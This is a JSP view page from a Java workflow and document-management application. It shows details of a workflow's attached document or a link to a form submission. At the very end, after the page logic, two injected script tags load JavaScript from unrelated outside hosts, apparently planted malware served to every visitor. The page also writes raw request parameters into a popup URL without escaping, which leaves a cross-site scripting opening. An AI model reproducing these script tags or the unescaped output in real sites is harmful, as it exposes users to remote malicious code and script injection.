<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@page import="com.dcivision.dms.bean.*"%>
<%@page import="com.dcivision.dms.core.*"%>
<%@page import="com.dcivision.workflow.core.*"%>
<%@page import="com.dcivision.workflow.dao.*"%>
<%@page import="com.dcivision.workflow.bean.*"%>
<%@page import="com.dcivision.framework.*"%>
<%@page import="com.dcivision.framework.bean.*"%>
<%@page import="org.quartz.JobDataMap"%>
<%@page import="java.util.*"%>
<%@page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="maintWorkflowProgressForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowProgressForm"/>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%
java.sql.Connection dbConn = (java.sql.Connection)request.getAttribute(com.dcivision.framework.GlobalConstant.DB_KEY);
try {
  String categoryID = SystemWorkflowConstant.SYS_GENERAL_WORKFLOW;
  Integer recordID = new Integer(request.getParameter("workflowRecordID"));
  Integer trackID = new Integer(request.getParameter("workflowTrackID"));
  Integer workflowStepID = new Integer(0);
  Integer progressID = new Integer(0);
  Integer delegateUserRecordID = new Integer(0);
  String isViewTask = "Y"; 
  if (!Utility.isEmpty(request.getParameter("workflowStepID"))) {
    workflowStepID = new Integer(request.getParameter("workflowStepID"));
  }

  if (!Utility.isEmpty(request.getParameter("progressID"))) {
    progressID = new Integer(request.getParameter("progressID"));
  }

  if (!Utility.isEmpty(request.getParameter("delegateUserRecordID"))) {
    delegateUserRecordID = new Integer(request.getParameter("delegateUserRecordID"));
  }

  if (!Utility.isEmpty(request.getParameter("isViewTask"))) {
    isViewTask = request.getParameter("isViewTask");
  }


  WorkflowRecordDAObject recordDAO = new WorkflowRecordDAObject(sessionContainer, dbConn);
  WorkflowRecord workflowRecord = (WorkflowRecord) recordDAO.getObjectByID(recordID);
  categoryID = workflowRecord.getWorkflowCategoryID().toString();
  MtmWorkflowProgressSystemObjectDAObject progressObjDAO = new MtmWorkflowProgressSystemObjectDAObject(sessionContainer, dbConn);
  if (!SystemWorkflowConstant.SYS_GENERAL_WORKFLOW.equals(categoryID)) { //suppose all workflow category, except "general", have other object to combine with
    List objectList = progressObjDAO.getListByTrackID(trackID);
    for(int i=0; i<objectList.size(); i++){
    
    MtmWorkflowProgressSystemObject progressObj = (MtmWorkflowProgressSystemObject)objectList.get(i);
    //MtmWorkflowProgressSystemObject progressObj = (MtmWorkflowProgressSystemObject)progressObjDAO.getObjectByTrackID(trackID);
    JobDataMap dataMap = new JobDataMap( (Map)progressObj.getParameterObject() );
    if (SystemWorkflowConstant.DMS_CREATE_PUBLIC_DOCUMENT.equals(categoryID) || SystemWorkflowConstant.DMS_CREATE_SCANNED_DOCUMENT.equals(categoryID)
      || SystemWorkflowConstant.DMS_CREATE_PUBLIC_UDF_DOCUMENT.equals(categoryID) || SystemWorkflowConstant.DMS_CREATE_SCANNED_UDF_DOCUMENT.equals(categoryID)
      || SystemWorkflowConstant.DMS_CHECKIN_PUBLIC_DOCUMENT.equals(categoryID) || SystemWorkflowConstant.DMS_CHECKIN_SCANNED_DOCUMENT.equals(categoryID)
      || SystemWorkflowConstant.DMS_CHECKIN_PUBLIC_UDF_DOCUMENT.equals(categoryID) || SystemWorkflowConstant.DMS_CHECKIN_SCANNED_UDF_DOCUMENT.equals(categoryID)
      || SystemWorkflowConstant.DMS_PAPER_DOCUMENT.equals(categoryID) )
    {
      DmsDocument document = (DmsDocument) dataMap.get("WORKFLOW_OBJECT");

      DocumentRetrievalManager retrievalManager = new DocumentRetrievalManager(sessionContainer, dbConn);

      DmsDocument rootFolder = null;

      if ( document.getRootID()!=null) {
        rootFolder = (DmsDocument) retrievalManager.getRootFolderByRootID(document.getRootID());
      }

      //boolean bShowFullDetail = false;

%>
<html:form name="progressObject" type="com.dcivision.workflow.web.MaintWorkflowProgressForm" action="/Home">
  <table cellpadding="0" cellspacing="0" border="0" width="100%">
    <tr>

      <td width="10">
      <%SysFunction sysFunction = applicationContainer.getSysFunctionByFunctionCode(SystemFunctionConstant.DMS);
   if (sysFunction!=null && GlobalConstant.STATUS_ACTIVE.equals(sysFunction.getStatus())) {
     PermissionManager permissionManager = sessionContainer.getPermissionManager();
     Integer DMS_PERSONAL_FOLDER = new Integer("6001");
     Integer DMS_PUBLIC_FOLDER = new Integer("6002"); 
     String permissionStr = permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PERSONAL_FOLDER);
        permissionStr += permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PUBLIC_FOLDER);
        if(!Utility.isEmpty(permissionStr) && permissionStr.indexOf("R") > -1 ){
    %>    
      <nobr><input type="checkbox" name="showIndexFlag1" value="Y" checked><bean:message key='dms.label.show_index'/></nobr>
      <%}}%>
      </td>
    </tr>
    <tr>
      <td width="30%" class="columnLabel"><bean:message key='dms.columnheader.doc_name'/>: </td>
      <td class="dataField"><nobr>
      <%if(SystemWorkflowConstant.DMS_PAPER_DOCUMENT.equals(categoryID)){%>
      <dms:documentInfo docObject='<%=document%>' permission='R' rootDocument='<%=rootFolder%>' inviteToRead='true' indexFlag='showIndexFlag1'/>
      <%}else{%>
      <dms:documentInfo docObject='<%=document%>' permission='R' rootDocument='<%=rootFolder%>' inviteToRead='true'  showIndexFlag='true' indexFlag='showIndexFlag1'/></nobr>
      <%}%>
      </td>
    </tr>
    <tr>

      <td width="40%" class="columnLabel"><bean:message key='dms.columnheader.location'/>: </td>
      <td class="dataField"><nobr>
      <% if (((DmsDocument)document).getParentID().intValue() !=0 ) { %>
      <dms:locationPath parentID="<%=((DmsDocument)document).getParentID()%>" rootID="<%=((DmsDocument)document).getRootID()%>" permission='R' rootDocument='<%=rootFolder%>'  indexFlag='showIndexFlag'/>
      <%}else{%>
      <bean:message key='dms.label.root'/>
      <%}%></td>
    </tr>
  </table>
</html:form>
<%
    } else if (SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(categoryID)) {
      com.dcivision.form.bean.FormSubmission formSubmission = (com.dcivision.form.bean.FormSubmission)dataMap.get("WORKFLOW_OBJECT");
      com.dcivision.form.dao.FormRecordDAObject formDAO = new com.dcivision.form.dao.FormRecordDAObject(sessionContainer, dbConn);
      com.dcivision.form.bean.FormRecord formRecord = (com.dcivision.form.bean.FormRecord)formDAO.getObjectByID(formSubmission.getFormRecordID());
      String url = request.getContextPath()+"/form/MaintFormSubmission.do?navMode=V&formRecordID="+formSubmission.getFormRecordID()+"&formSubmissionID="+formSubmission.getID()+"&function=FORMTRACKING&workflowStepID="+workflowStepID+"&progressID="+progressID+"&isWorkflowViewFlag=Y&SHOW_HEADER_FOOTER=N&isViewTask="+isViewTask+"&wfRecordID="+recordID+"&wfTrackID="+trackID+"&wfDelegateUserRecordID="+delegateUserRecordID+"&wfNavMode="+request.getParameter("wfNavMode")+"&isShowHeader="+request.getParameter("SHOW_HEADER_FOOTER");
      String sheight = "";
      if (!Utility.isEmpty(formRecord.getFormDocID()) && !"null".equals(formRecord.getFormDocID()) ){
        if ("N".equals(isViewTask)){ 
             url = request.getContextPath()+"/form/GenerateXML.do?navMode=E&formRecordID="+formSubmission.getFormRecordID()+"&formSubmissionID="+formSubmission.getID()+"&formDocID="+formRecord.getFormDocID()+"&workflowStepID="+workflowStepID+"&progressID="+progressID+"&isViewTask="+isViewTask+"&status=R&step=N";//Edit for WF Task.
        }else{
           if (!Utility.isEmpty(progressID) && !Utility.isEmpty(workflowStepID) && !new Integer(0).equals(progressID) && !new Integer(0).equals(workflowStepID)){
             url = request.getContextPath()+"/form/GenerateXML.do?navMode=E&formRecordID="+formSubmission.getFormRecordID()+"&formSubmissionID="+formSubmission.getID()+"&formDocID="+formRecord.getFormDocID()+"&workflowStepID="+workflowStepID+"&progressID="+progressID+"&isViewTask=Y&status=R&step=N";//View for WF Task .
          }else{
             url = request.getContextPath()+"/form/GenerateXML.do?navMode=V&formRecordID="+formSubmission.getFormRecordID()+"&formSubmissionID="+formSubmission.getID()+"&formDocID="+formRecord.getFormDocID()+"&status=R";  //for WF Tracking.
          }
        }
      }

    %>
    <a href="#" onclick="return OpenCenteredPopup('<%=url%>', 'DCIVisionWFPopUp',800,600,'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no,screenX=0,screenY=0,left=0,top=0');" target="_blank"><%=formRecord.getFormCode() + " - " + formRecord.getTitle() + " (" + formRecord.getFormVersion() + ")"%></a>
<%
    }
    }
  } else {
    out.println(com.dcivision.framework.GlobalConstant.EMPTY_FIELD);
  }
} catch (Exception e) {
  LogFactory.getLog(this.getClass()).error(e, e);
}
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>